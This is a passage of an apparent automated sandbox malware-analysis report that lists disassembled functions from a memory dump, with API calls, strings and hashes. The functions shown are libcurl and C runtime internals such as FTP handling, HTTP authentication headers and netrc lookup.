                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _strstr
                                                                                                                                      • String ID: $ bytes$Data conn was not available immediately$Getting file with size: %I64d$Maxdownload = %I64d$RETR response: %03d
                                                                                                                                      • API String ID: 2882301372-2096918210
                                                                                                                                      • Opcode ID: 8765782fe9dcfe593924e2454993d09fdb3d36eee078e7d568ef4e4a2b3816a3
                                                                                                                                      • Instruction ID: cca3de3017eeb8c96edc229bd3a7c3a9b9f17ff24fec2157e4fa0dc9b7ec0b8b
                                                                                                                                      • Opcode Fuzzy Hash: 8765782fe9dcfe593924e2454993d09fdb3d36eee078e7d568ef4e4a2b3816a3
                                                                                                                                      • Instruction Fuzzy Hash: 6551F3B1D48244EFDB109F68D840B9D7BB5AB04336F1442AFEC289F2D1D7389644D7A1
                                                                                                                                      Function 6BD97930 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 170COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD97987
                                                                                                                                      • inet_pton.WS2_32(00000002,00000000,?), ref: 6BD979C4
                                                                                                                                      • inet_pton.WS2_32(00000017,00000000,?), ref: 6BD979D5
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD979E2
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD979FA
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD97A2A
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ___from_strstr_to_strchr$inet_pton
                                                                                                                                      • String ID: xn--
                                                                                                                                      • API String ID: 1785450883-2826155999
                                                                                                                                      • Opcode ID: edefe4a788d01ae59e74bade281a0e4acadc60c7281b77c681949f05becd4008
                                                                                                                                      • Instruction ID: c4389860477de5fdaff48625f33da6292650c0c69464c1bbe8f77211bf8ab106
                                                                                                                                      • Opcode Fuzzy Hash: edefe4a788d01ae59e74bade281a0e4acadc60c7281b77c681949f05becd4008
                                                                                                                                      • Instruction Fuzzy Hash: CF411975A44209BBDF04DF78AD41ABE77ACDF45668F0401A9EC09DF241EB2A8A0592B1
                                                                                                                                      Function 6BD8EA30 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 155COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_mvsnprintf
                                                                                                                                      • String ID: %s%s%s$Couldn't set desired mode$Got a %03d response code instead of the assumed 200$LIST$NLST
                                                                                                                                      • API String ID: 3418963191-1262176364
                                                                                                                                      • Opcode ID: 0ca17c3c38bcfedfd90357323a86405cf2cdc1a9e6f85950b075c61a256c0a9b
                                                                                                                                      • Instruction ID: e868d252095ed33e3a196e2aa7306ce18bc0c684c979aafa9ff0bbdbbb596c67
                                                                                                                                      • Opcode Fuzzy Hash: 0ca17c3c38bcfedfd90357323a86405cf2cdc1a9e6f85950b075c61a256c0a9b
                                                                                                                                      • Instruction Fuzzy Hash: 68411D72B001146BEB104B68EC81F6A7799DB8577AF0405B5FD0DDF241E729E9058BF0
                                                                                                                                      Function 6BD9D930 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • ___from_strstr_to_strchr.LIBCMT ref: 6BD9D9E9
                                                                                                                                      • curl_maprintf.LIBCURL(%.*s,00000000,?,?,?,?,?,?,?,?,?,00000000,?,CONNECT,00000000,00000001), ref: 6BD9D9FE
                                                                                                                                        • Part of subcall function 6BDA48E0: curl_mvaprintf.LIBCURL(?,?,?,6BD866CB,%s.%s.tmp,?,?,?,?,?,?), ref: 6BDA48EA
                                                                                                                                      • curl_maprintf.LIBCURL(%sAuthorization: Digest %s,Proxy-,?), ref: 6BD9DA61
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_maprintf$___from_strstr_to_strchrcurl_mvaprintf
                                                                                                                                      • String ID: %.*s$%sAuthorization: Digest %s$Digest$Proxy-
                                                                                                                                      • API String ID: 2694567262-3976116069
                                                                                                                                      • Opcode ID: 43f10226cd1749f410802475e2113df6fdc9e4078fd5fd88300ce9fd67070fa3
                                                                                                                                      • Instruction ID: bab29e5bff2064e895fadaff5d1bc1f471157250f8720082658d4b1f933b3630
                                                                                                                                      • Opcode Fuzzy Hash: 43f10226cd1749f410802475e2113df6fdc9e4078fd5fd88300ce9fd67070fa3
                                                                                                                                      • Instruction Fuzzy Hash: FB419171A00208EFDB05DFA8E881BAA7BE9EF45354F5040B9E808DF351E735DA548BA1
                                                                                                                                      Function 6BDA28F0 Relevance: 12.2, APIs: 8, Instructions: 199COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_mime_data.LIBCURL(?,?,?), ref: 6BDA2917
                                                                                                                                      • curl_mime_filedata.LIBCURL(?,?), ref: 6BDA292A
                                                                                                                                      • curl_mime_data_cb.LIBCURL(?,?,?,?,?,?,?), ref: 6BDA2955
                                                                                                                                      • curl_mime_init.LIBCURL ref: 6BDA2963
                                                                                                                                      • curl_mime_subparts.LIBCURL(?,00000000), ref: 6BDA2976
                                                                                                                                      • curl_mime_addpart.LIBCURL(00000000), ref: 6BDA299D
                                                                                                                                      • curl_slist_free_all.LIBCURL(00000000,?), ref: 6BDA2A1B
                                                                                                                                      • curl_slist_free_all.LIBCURL(?,?), ref: 6BDA2A44
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_slist_free_all$curl_mime_addpartcurl_mime_datacurl_mime_data_cbcurl_mime_filedatacurl_mime_initcurl_mime_subparts
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 3177825088-0
                                                                                                                                      • Opcode ID: 5415fe1e637e693b2d4da4f2639380400302516568d1b7e2a0e67042dd08c86d
                                                                                                                                      • Instruction ID: 5bda081c7c9535371a3df936f29713e796387c976a233fa4a9bf63b329808299
                                                                                                                                      • Opcode Fuzzy Hash: 5415fe1e637e693b2d4da4f2639380400302516568d1b7e2a0e67042dd08c86d
                                                                                                                                      • Instruction Fuzzy Hash: E851B7B2A01515ABDF118F67E8C155A7764BF05739B0401B8ED099F701E73AE930EBE2
                                                                                                                                      Function 6BD90900 Relevance: 10.8, APIs: 2, Strings: 4, Instructions: 318COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _strrchrcurl_maprintf
                                                                                                                                      • String ID: %s%s$Wildcard - "%s" skipped by user$Wildcard - Parsing started$Wildcard - START of "%s"
                                                                                                                                      • API String ID: 1669751406-1301414817
                                                                                                                                      • Opcode ID: 432b4d9a9dac85347d111fbd70ce212c31ae8defc0b2ed3182d3b9e0f4cf8475
                                                                                                                                      • Instruction ID: 6fa3ddfc08f43f2bbb219525b06b7ae8cb8da1aa598b29b4e5342e23f9f02c70
                                                                                                                                      • Opcode Fuzzy Hash: 432b4d9a9dac85347d111fbd70ce212c31ae8defc0b2ed3182d3b9e0f4cf8475
                                                                                                                                      • Instruction Fuzzy Hash: 47C1AD75A00600DBDB10DF68E881BC6BBE1EB45365F1400BAEA6DCF210E77AE595CB91
                                                                                                                                      Function 6BD9DC80 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 249COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_maprintf.LIBCURL(%sAuthorization: Negotiate %s,Proxy-,00000000,?,?,00000000,?), ref: 6BD9DF14
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_maprintf
                                                                                                                                      • String ID: %sAuthorization: Negotiate %s$Curl_output_negotiate, no persistent authentication: cleanup existing context$HTTP$Negotiate auth restarted$Proxy-
                                                                                                                                      • API String ID: 3307269620-819322280
                                                                                                                                      • Opcode ID: 4ac8880079641a772e515cc120f708264eb610a49382216d6a51bd2a632f1f30
                                                                                                                                      • Instruction ID: a9ceb34c4c76248a01054d1a5a3f52787eaadffaf716e757f63ae760fb25c432
                                                                                                                                      • Opcode Fuzzy Hash: 4ac8880079641a772e515cc120f708264eb610a49382216d6a51bd2a632f1f30
                                                                                                                                      • Instruction Fuzzy Hash: C9910571E04244DFEB11DF68E881BDABBF5EF45364F0441A9D84CDB200D77AAA14CBA1
                                                                                                                                      Function 6BD8D6C0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 188networkCOMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BD8D874
                                                                                                                                      Strings
                                                                                                                                      • *, xrefs: 6BD8D849
                                                                                                                                      • FTP response aborted due to select/poll error: %d, xrefs: 6BD8D87B
                                                                                                                                      • We got a 421 - timeout!, xrefs: 6BD8D81E
                                                                                                                                      • FTP response timeout, xrefs: 6BD8D8BA
                                                                                                                                      • QUOT string not accepted: %s, xrefs: 6BD8D89F
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: ErrorLast
                                                                                                                                      • String ID: *$FTP response aborted due to select/poll error: %d$FTP response timeout$QUOT string not accepted: %s$We got a 421 - timeout!
                                                                                                                                      • API String ID: 1452528299-2335292235
                                                                                                                                      • Opcode ID: ce5068051b471c5921d62c891a74dbb2e103c844aee7bfbd933977821d252c4e
                                                                                                                                      • Instruction ID: 470463025d6ec265506debeb6f9eef5d68ed367f38021539f03280f9bbbc43e5
                                                                                                                                      • Opcode Fuzzy Hash: ce5068051b471c5921d62c891a74dbb2e103c844aee7bfbd933977821d252c4e
                                                                                                                                      • Instruction Fuzzy Hash: D951F775E44208DFEF008B58EC41BAE7BB4EB45336F0441AEE9199F290E7399605D7A1
                                                                                                                                      Function 6BD81A20 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 166COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000005,%c%c%c%c,?,?,?,?), ref: 6BD81B38
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000005,%c%c%c=,?,?,?), ref: 6BD81B5D
                                                                                                                                      • curl_msnprintf.LIBCURL(?,00000005,%c%c==,?,?), ref: 6BD81B79
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_msnprintf
                                                                                                                                      • String ID: %c%c%c%c$%c%c%c=$%c%c==
                                                                                                                                      • API String ID: 1809024409-3943651191
                                                                                                                                      • Opcode ID: f87b0513804b9dd5e96c9ae421f1779df052f185b4ede99ec0af002bb6b42797
                                                                                                                                      • Instruction ID: 8e27d5b130e2149a4d5eb79e7e0891604efd088329b890741de091e6ff5f3172
                                                                                                                                      • Opcode Fuzzy Hash: f87b0513804b9dd5e96c9ae421f1779df052f185b4ede99ec0af002bb6b42797
                                                                                                                                      • Instruction Fuzzy Hash: 8151E2B18041A59FDB018F68C891BBE7FF49F0A316F0501D5E8A4DF252E639D61ACBA0
                                                                                                                                      Function 6BDAA120 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 92COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_getenv.LIBCURL(HOME,000003DC,00000000,000003D8,?,6BD942F0,?,00000000,00000000,00000000,?,?), ref: 6BDAA136
                                                                                                                                        • Part of subcall function 6BD96310: GetEnvironmentVariableA.KERNEL32(?,00000000,00000001), ref: 6BD9633A
                                                                                                                                      • curl_maprintf.LIBCURL(%s%s.netrc,00000000,6BDEF918,00000000), ref: 6BDAA157
                                                                                                                                      • curl_maprintf.LIBCURL(%s%s_netrc,00000000,6BDEF918), ref: 6BDAA196
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_maprintf$EnvironmentVariablecurl_getenv
                                                                                                                                      • String ID: %s%s.netrc$%s%s_netrc$HOME
                                                                                                                                      • API String ID: 2809420521-3384076093
                                                                                                                                      • Opcode ID: c3f271bf46ea92d8134feae3cabe4dd123b5b3ba7a79e653089922a5085a701b
                                                                                                                                      • Instruction ID: 2f340e152370685c53a09efc6f1070cb8e323b563cac9faa06cda672d319af36
                                                                                                                                      • Opcode Fuzzy Hash: c3f271bf46ea92d8134feae3cabe4dd123b5b3ba7a79e653089922a5085a701b
                                                                                                                                      • Instruction Fuzzy Hash: 39213B36944119BB9F021FE8FC059CF7B6AEF85279B004265F91889121D73BC636A7B1
                                                                                                                                      Function 6BDDF88C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID:
                                                                                                                                      • String ID: api-ms-$ext-ms-
                                                                                                                                      • API String ID: 0-537541572
                                                                                                                                      • Opcode ID: 31e147c5066fe5d15c1949df9f9db7b875a14d9d9795ba5602fd5de2c2b680cc
                                                                                                                                      • Instruction ID: c6bb49a7145af55eeb23110e7852109fe1bb8b2123b3310ac88cb3859ae0d35a
                                                                                                                                      • Opcode Fuzzy Hash: 31e147c5066fe5d15c1949df9f9db7b875a14d9d9795ba5602fd5de2c2b680cc
                                                                                                                                      • Instruction Fuzzy Hash: C121B432E45221FBEB214B259C90B0E77A89F06BB4F110160ECD5AF291D738ED02D7E5
                                                                                                                                      Function 6BDE5EEE Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                        • Part of subcall function 6BDE5EB6: _free.LIBCMT ref: 6BDE5EDB
                                                                                                                                      • _free.LIBCMT ref: 6BDE5F3C
                                                                                                                                        • Part of subcall function 6BDDF7EA: RtlFreeHeap.NTDLL(00000000,00000000,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0), ref: 6BDDF800
                                                                                                                                        • Part of subcall function 6BDDF7EA: GetLastError.KERNEL32(6BE038A0,?,6BDE5EE0,6BE038A0,00000000,6BE038A0,00000000,?,6BDE5F07,6BE038A0,00000007,6BE038A0,?,6BDE532A,6BE038A0,6BE038A0), ref: 6BDDF812
                                                                                                                                      • _free.LIBCMT ref: 6BDE5F47
                                                                                                                                      • _free.LIBCMT ref: 6BDE5F52
                                                                                                                                      • _free.LIBCMT ref: 6BDE5FA6
                                                                                                                                      • _free.LIBCMT ref: 6BDE5FB1
                                                                                                                                      • _free.LIBCMT ref: 6BDE5FBC
                                                                                                                                      • _free.LIBCMT ref: 6BDE5FC7
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: _free$ErrorFreeHeapLast
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 776569668-0
                                                                                                                                      • Opcode ID: a2040689eb20bcf9bb80bc7575afd7fe6432a9a444dbacbf3969c66c2c91fe63
                                                                                                                                      • Instruction ID: 1375fb26165a790bd98bb8adacae1911b1f806b31126672d6015729ea96464f4
                                                                                                                                      • Opcode Fuzzy Hash: a2040689eb20bcf9bb80bc7575afd7fe6432a9a444dbacbf3969c66c2c91fe63
                                                                                                                                      • Instruction Fuzzy Hash: 76112971942B05FAEA70EBF0CC46FCB779DBF00B6DF400915A29AAE050DB79A6058770
                                                                                                                                      Function 6BD86AC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 60COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • curl_maprintf.LIBCURL(%s%s%s%s%s%s%I64d%s%s,#HttpOnly_,6BDEB98E,unknown,6BDEB988,6BDEB868,6BDEB988,100C15FF,5D8B6BE0,74DB8504,6BDEB98E,00000000,00000000,00000000), ref: 6BD86B55
                                                                                                                                      Strings
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: curl_maprintf
                                                                                                                                      • String ID: #HttpOnly_$%s%s%s%s%s%s%I64d%s%s$FALSE$TRUE$unknown
                                                                                                                                      • API String ID: 3307269620-3622669638
                                                                                                                                      • Opcode ID: 850e7fc699a52d29ffcca797ce750885bdbed6e172bf8af30b6efa3cf278d5de
                                                                                                                                      • Instruction ID: f765b9732aa4df1af60713bb4f6384ae6feb9052b8a689953a1c8e547b494407
                                                                                                                                      • Opcode Fuzzy Hash: 850e7fc699a52d29ffcca797ce750885bdbed6e172bf8af30b6efa3cf278d5de
                                                                                                                                      • Instruction Fuzzy Hash: 62119060700249AFEB098B25DCC1B56FBE9AF492B0F004298E808DF352E225FD81C7B1
                                                                                                                                      Function 6BDDE4BC Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • GetConsoleCP.KERNEL32(6BDD92EA,00000000,?), ref: 6BDDE504
                                                                                                                                      • __fassign.LIBCMT ref: 6BDDE6E3
                                                                                                                                      • __fassign.LIBCMT ref: 6BDDE700
                                                                                                                                      • WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BDDE748
                                                                                                                                      • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6BDDE788
                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BDDE834
                                                                                                                                      Memory Dump Source
                                                                                                                                      • Source File: 0000000B.00000002.2721455148.000000006BD81000.00000020.00000001.01000000.00000017.sdmp, Offset: 6BD80000, based on PE: true
                                                                                                                                      • Associated: 0000000B.00000002.2721426780.000000006BD80000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2721900400.000000006BDEB000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722035841.000000006BE01000.00000004.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      • Associated: 0000000B.00000002.2722071506.000000006BE04000.00000002.00000001.01000000.00000017.sdmpDownload File
                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                      • Snapshot File: hcaresult_11_2_6bd80000_ast.jbxd
                                                                                                                                      Similarity
                                                                                                                                      • API ID: FileWrite__fassign$ConsoleErrorLast
                                                                                                                                      • String ID:
                                                                                                                                      • API String ID: 4031098158-0
                                                                                                                                      • Opcode ID: d261a454e2785d3afe92d39a7630cefc607b149e60f5a4d74f9bdecc3493d066
                                                                                                                                      • Instruction ID: eb3af41d96dce4887c7cc5b7c544f74b595ffba592ba5f79e5503d74a35bfcec
                                                                                                                                      • Opcode Fuzzy Hash: d261a454e2785d3afe92d39a7630cefc607b149e60f5a4d74f9bdecc3493d066
                                                                                                                                      • Instruction Fuzzy Hash: 9BD17A75D012589FCF15CFA8C8809EDFBB5BF49324F24016AE895BB341E735AA46CB60
                                                                                                                                      Function 6BDAD1F0 Relevance: 9.3, APIs: 6, Instructions: 255COMMON
                                                                                                                                      Download Yara Rule
                                                                                                                                      APIs
                                                                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6BDAD266
